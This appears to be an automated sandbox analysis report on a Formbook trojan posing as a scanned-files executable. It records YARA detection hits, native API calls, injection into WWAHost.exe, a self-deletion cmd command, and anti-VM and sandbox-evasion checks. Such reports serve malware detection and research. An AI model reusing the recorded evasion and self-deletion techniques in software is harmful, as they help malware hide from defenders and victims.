          Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028530C00_2_028530C0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028561500_2_02856150
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028530B20_2_028530B2
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028514FA0_2_028514FA
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028514480_2_02851448
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_028514580_2_02851458
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_02850D880_2_02850D88
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_02850D980_2_02850D98
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_02852DD70_2_02852DD7
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_02852DE80_2_02852DE8
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E847B00_2_04E847B0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8804C0_2_04E8804C
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8BF380_2_04E8BF38
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8EACB0_2_04E8EACB
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E847A30_2_04E847A3
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8A1000_2_04E8A100
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E881040_2_04E88104
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004010302_2_00401030
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004011742_2_00401174
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B9BD2_2_0041B9BD
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041BA6D2_2_0041BA6D
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041C31E2_2_0041C31E
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041CB972_2_0041CB97
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00408C602_2_00408C60
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00402D872_2_00402D87
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00402D902_2_00402D90
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041C5972_2_0041C597
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041C77C2_2_0041C77C
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041BFCB2_2_0041BFCB
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B7E32_2_0041B7E3
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00402FB02_2_00402FB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369EBB013_2_0369EBB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03686E3013_2_03686E30
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03731D5513_2_03731D55
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_03660D2013_2_03660D20
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0368412013_2_03684120
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0366F90013_2_0366F900
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367D5E013_2_0367D5E0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0369258113_2_03692581
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0372100213_2_03721002
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367841F13_2_0367841F
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036920A013_2_036920A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0367B09013_2_0367B090
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088CB9713_2_0088CB97
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_00878C6013_2_00878C60
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_00872D8713_2_00872D87
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_00872D9013_2_00872D90
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088C59713_2_0088C597
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_00872FB013_2_00872FB0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088B7E313_2_0088B7E3
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088C77C13_2_0088C77C
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: String function: 0366B150 appears 32 times
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004181C0 NtCreateFile,2_2_004181C0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_00418270 NtReadFile,2_2_00418270
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004182F0 NtClose,2_2_004182F0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_004183A0 NtAllocateVirtualMemory,2_2_004183A0
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041826A NtReadFile,2_2_0041826A
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041839A NtAllocateVirtualMemory,2_2_0041839A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9710 NtQueryInformationToken,LdrInitializeThunk,13_2_036A9710
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9FE0 NtCreateMutant,LdrInitializeThunk,13_2_036A9FE0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9780 NtMapViewOfSection,LdrInitializeThunk,13_2_036A9780
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9660 NtAllocateVirtualMemory,LdrInitializeThunk,13_2_036A9660
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9650 NtQueryValueKey,LdrInitializeThunk,13_2_036A9650
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9A50 NtCreateFile,LdrInitializeThunk,13_2_036A9A50
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A96E0 NtFreeVirtualMemory,LdrInitializeThunk,13_2_036A96E0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A96D0 NtCreateKey,LdrInitializeThunk,13_2_036A96D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9540 NtReadFile,LdrInitializeThunk,13_2_036A9540
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9910 NtAdjustPrivilegesToken,LdrInitializeThunk,13_2_036A9910
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A95D0 NtClose,LdrInitializeThunk,13_2_036A95D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A99A0 NtCreateSection,LdrInitializeThunk,13_2_036A99A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9860 NtQuerySystemInformation,LdrInitializeThunk,13_2_036A9860
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9840 NtDelayExecution,LdrInitializeThunk,13_2_036A9840
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9760 NtOpenProcess,13_2_036A9760
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9770 NtSetInformationFile,13_2_036A9770
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036AA770 NtOpenThread,13_2_036AA770
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9730 NtQueryVirtualMemory,13_2_036A9730
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9B00 NtSetValueKey,13_2_036A9B00
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036AA710 NtOpenProcessToken,13_2_036AA710
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A97A0 NtUnmapViewOfSection,13_2_036A97A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036AA3B0 NtGetContextThread,13_2_036AA3B0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9670 NtQueryInformationProcess,13_2_036A9670
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9A20 NtResumeThread,13_2_036A9A20
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9A00 NtProtectVirtualMemory,13_2_036A9A00
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9610 NtEnumerateValueKey,13_2_036A9610
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9A10 NtQuerySection,13_2_036A9A10
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9A80 NtOpenDirectoryObject,13_2_036A9A80
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9560 NtWriteFile,13_2_036A9560
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9950 NtQueueApcThread,13_2_036A9950
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9520 NtWaitForSingleObject,13_2_036A9520
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036AAD30 NtSetContextThread,13_2_036AAD30
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A95F0 NtQueryInformationFile,13_2_036A95F0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A99D0 NtCreateProcessEx,13_2_036A99D0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036AB040 NtSuspendThread,13_2_036AB040
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A9820 NtEnumerateKey,13_2_036A9820
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A98F0 NtReadVirtualMemory,13_2_036A98F0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036A98A0 NtWriteVirtualMemory,13_2_036A98A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_008881C0 NtCreateFile,13_2_008881C0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_008882F0 NtClose,13_2_008882F0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_00888270 NtReadFile,13_2_00888270
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_008883A0 NtAllocateVirtualMemory,13_2_008883A0
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088826A NtReadFile,13_2_0088826A
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088839A NtAllocateVirtualMemory,13_2_0088839A
          Source: scan files 15-9-21.exe, 00000000.00000002.263517285.0000000005A70000.00000004.00020000.sdmpBinary or memory string: OriginalFilenameCF_Secretaria.dll< vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exe, 00000000.00000002.262075156.0000000002987000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameEnvoySinks.dll6 vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exe, 00000000.00000002.261491768.000000000060E000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameIObserv.exe4 vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exe, 00000002.00000003.335101550.0000000003940000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameWWAHost.exej% vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exe, 00000002.00000000.260672638.000000000105E000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameIObserv.exe4 vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exe, 00000002.00000002.343331105.0000000001BDF000.00000040.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exeBinary or memory string: OriginalFilenameIObserv.exe4 vs scan files 15-9-21.exe
          Source: scan files 15-9-21.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          Source: scan files 15-9-21.exeVirustotal: Detection: 29%
          Source: scan files 15-9-21.exeReversingLabs: Detection: 26%
          Source: scan files 15-9-21.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\scan files 15-9-21.exe 'C:\Users\user\Desktop\scan files 15-9-21.exe'
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess created: C:\Users\user\Desktop\scan files 15-9-21.exe C:\Users\user\Desktop\scan files 15-9-21.exe
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\WWAHost.exe C:\Windows\SysWOW64\WWAHost.exe
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess created: C:\Users\user\Desktop\scan files 15-9-21.exe C:\Users\user\Desktop\scan files 15-9-21.exeJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'Jump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\scan files 15-9-21.exe.logJump to behavior
          Source: classification engineClassification label: mal100.troj.evad.winEXE@7/1@10/4
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2752:120:WilError_01
          Source: scan files 15-9-21.exe, Forms/mainForm.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
          Source: 0.0.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
          Source: 0.2.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
          Source: 2.2.scan files 15-9-21.exe.fd0000.1.unpack, Forms/mainForm.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
          Source: 2.0.scan files 15-9-21.exe.fd0000.0.unpack, Forms/mainForm.csCryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: scan files 15-9-21.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: scan files 15-9-21.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: scan files 15-9-21.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: WWAHost.pdb source: scan files 15-9-21.exe, 00000002.00000003.335101550.0000000003940000.00000004.00000001.sdmp
          Source: Binary string: WWAHost.pdbUGP source: scan files 15-9-21.exe, 00000002.00000003.335101550.0000000003940000.00000004.00000001.sdmp
          Source: Binary string: wntdll.pdbUGP source: scan files 15-9-21.exe, 00000002.00000002.343119287.0000000001AC0000.00000040.00000001.sdmp, WWAHost.exe, 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: scan files 15-9-21.exe, 00000002.00000002.343119287.0000000001AC0000.00000040.00000001.sdmp, WWAHost.exe

          Data Obfuscation:

          barindex
          .NET source code contains potential unpackerShow sources
          Source: scan files 15-9-21.exe, Forms/mainForm.cs.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
          Source: 0.0.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.cs.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
          Source: 0.2.scan files 15-9-21.exe.580000.0.unpack, Forms/mainForm.cs.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
          Source: 2.2.scan files 15-9-21.exe.fd0000.1.unpack, Forms/mainForm.cs.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
          Source: 2.0.scan files 15-9-21.exe.fd0000.0.unpack, Forms/mainForm.cs.Net Code: _X_X0FT_FT2 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8E622 push 0000001Ah; retf 0_2_04E8E624
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8D131 push 0000001Ah; retf 0_2_04E8D133
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8E8E8 push 0000001Ah; retf 0_2_04E8E907
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 0_2_04E8EA5C push 0000001Ah; retf 0_2_04E8EA5E
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041C949 push ecx; ret 2_2_0041C91E
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041C949 push ecx; ret 2_2_0041C91E
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0040429D pushfd ; iretd 2_2_0040429E
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B3B5 push eax; ret 2_2_0041B408
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B46C push eax; ret 2_2_0041B472
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B402 push eax; ret 2_2_0041B408
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeCode function: 2_2_0041B40B push eax; ret 2_2_0041B472
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_036BD0D1 push ecx; ret 13_2_036BD0E4
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088C949 push ecx; ret 13_2_0088C91E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088C949 push ecx; ret 13_2_0088C91E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0087429D pushfd ; iretd 13_2_0087429E
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088B3B5 push eax; ret 13_2_0088B408
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088B40B push eax; ret 13_2_0088B472
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088B402 push eax; ret 13_2_0088B408
          Source: C:\Windows\SysWOW64\WWAHost.exeCode function: 13_2_0088B46C push eax; ret 13_2_0088B472
          Source: scan files 15-9-21.exeStatic PE information: 0xEB59C8A3 [Mon Feb 14 13:50:27 2095 UTC]
          Source: initial sampleStatic PE information: section name: .text entropy: 7.20919367006

          Hooking and other Techniques for Hiding and Protection:

          barindex
          Self deletion via cmd deleteShow sources
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess created: /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess created: /c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'Jump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WWAHost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion:

          barindex
          Yara detected AntiVM3Show sources
          Source: Yara matchFile source: 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: scan files 15-9-21.exe PID: 6752, type: MEMORYSTR
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: WINE_GET_UNIX_FILE_NAME
          Source: scan files 15-9-21.exe, 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLL
          Tries to detect virtualization through RDTSC time measurementsShow sources
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeRDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\scan files 15-9-21.exeRDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
